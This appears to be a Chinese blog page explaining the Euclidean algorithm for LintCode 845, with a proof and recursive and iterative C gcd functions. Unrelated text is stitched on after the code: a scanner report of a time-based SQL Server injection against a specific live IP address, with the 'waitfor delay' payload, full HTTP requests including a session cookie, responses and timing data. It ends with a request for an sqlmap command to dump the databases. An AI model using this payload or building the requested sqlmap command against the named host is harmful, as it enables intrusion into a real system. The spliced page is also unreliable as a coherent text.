LintCode-845: Greatest Common Divisor

本文详细介绍了欧几里德算法及其应用,包括最大公约数的定义与计算方法,并提供了递归与迭代两种实现方式。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

欧几里德算法:
定理:a 和 b 两个整数的最大公约数等于b 与 a % b的最大公约数
形式化表示:假设a, b!=0, 则gcd(a, b) = gcd(b, a%b)。
证明:

  1. 设 c = gcd(a, b), 则 a = cx, b = cy,且gcd(x,y)=1
  2. 可知 a % b = a - k * b = cx - kcy = c (x - ky)
  3. 可知 c 也是a % b 的 factor (这里我们证明了c是b和a%b的公约数,下面要证明c是b和a%b的最大公约数,所以要证明y和x-ky互质)

// 下面4,5,6,7证明x - ky与y互质

  1. 假设gcd(x - ky, y) = d

  2. 则 y = nd, x - ky = md, 则 x = knd + md = (kn + m)d

  3. 我们有 a = cd(kn + m),b = cdn

  4. 可得gcd(a,b) >= cd, 又因为gcd(a, b)=c,所以d = 1

  5. 综上可得, gcd(a,b)=gcd(b,r)=gcd(b, a%b)。

注意:辗转相除法还可以用于快速求解ax+by=1 (a, b互质)方程的一组整数解

递归版:

int gcd(int a, int b) {
        int big=(a>b)? a:b;
        int small=(a<b)? a:b;
        if (small!=0) 
            return gcd(small, big%small);
        else
            return big;
    }

迭代版:

    int gcd(int a, int b) {
        int big=(a>b)? a:b;
        int small=(a<b)? a:b;
        
        while(small!=0) {
            int temp=small;
            small=big%small;
            big=temp;
        }

        return big;
    }

又看了一下,发现递归版不需要检查big, small,可以直接简写如下:

int gcd(int a, int b) {
    return (b ? gcd(b, a % b) : a);
}

因为如果a < b, 那么a%b=a, 所以gcd(b, a%b)就自动切换了大小。

https://148.66.5.154/agent/invote_code/list?page=1&limit=10 ParamPosition query ParamKey page Payload 1'and(select+1)>0waitfor/**/delay'0:0:3 Request1 GET /agent/invote_code/list?limit=10&page=1%27and%28select%2B1%29%3E0waitfor%2F%2A%2A%2Fdelay%270%3A0%3A0 HTTP/1.1 Host: 148.66.5.154 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Cookie: PHPSESSID=ln467gh2n0t7jl4uk8ss3l9qk1 Referer: https://148.66.5.154/agent/invote_code/index Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin X-Requested-With: XMLHttpRequest Accept-Encoding: gzip Copy Response1 HTTP/1.1 200 OK Access-Control-Allow-Headers: * Access-Control-Allow-Origin: * Access-Control-Request-Method: * Alt-Svc: quic=":443"; h3=":443"; h3-29=":443"; h3-27=":443";h3-25=":443"; h3-T050=":443"; h3-Q050=":443";h3-Q049=":443";h3-Q048=":443"; h3-Q046=":443"; h3-Q043=":443" Cache-Control: no-store, no-cache, must-revalidate Connection: keep-alive Content-Type: application/json Date: Mon, 28 Jul 2025 08:49:13 GMT Expires: Thu, 19 Nov 1981 08:52:00 GMT Pragma: no-cache Server: nginx Strict-Transport-Security: max-age=31536000 Vary: Accept-Encoding Request2 GET /agent/invote_code/list?limit=10&page=1%27and%28select%2B1%29%3E0waitfor%2F%2A%2A%2Fdelay%270%3A0%3A3 HTTP/1.1 Host: 148.66.5.154 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Cookie: PHPSESSID=ln467gh2n0t7jl4uk8ss3l9qk1 Referer: https://148.66.5.154/agent/invote_code/index Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin X-Requested-With: XMLHttpRequest Accept-Encoding: gzip Copy Response2 HTTP/1.1 200 OK Access-Control-Allow-Headers: * Access-Control-Allow-Origin: * Access-Control-Request-Method: * Alt-Svc: quic=":443"; h3=":443"; h3-29=":443"; h3-27=":443";h3-25=":443"; h3-T050=":443"; h3-Q050=":443";h3-Q049=":443";h3-Q048=":443"; h3-Q046=":443"; h3-Q043=":443" Cache-Control: no-store, no-cache, must-revalidate Connection: keep-alive Content-Type: application/json Date: Mon, 28 Jul 2025 08:49:17 GMT Expires: Thu, 19 Nov 1981 08:52:00 GMT Pragma: no-cache Server: nginx Strict-Transport-Security: max-age=31536000 Vary: Accept-Encoding Extra { "avg_time": "833", "n_time": "3174", "p_time": "749", "sleep_time": "3000", "stat": "{\"normal\":{\"samples\":[1161,849,711,718,704,856],\"avg\":833.1666666666666,\"std_dev\":159.74919579001192,\"sleep_time\":3},\"sleep_0_time\":749,\"quick_check\":{\"samples\":[3174],\"sleep\":3},\"verify\":{\"samples\":[4176,5101,12188],\"sleep\":4}}", "std_dev": "159", "title": "Generic SQL Server time based case ['string']", "type": "time_based" 根据这个帮我写一句sqlmap的查询数据库的语句
最新发布
07-29
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值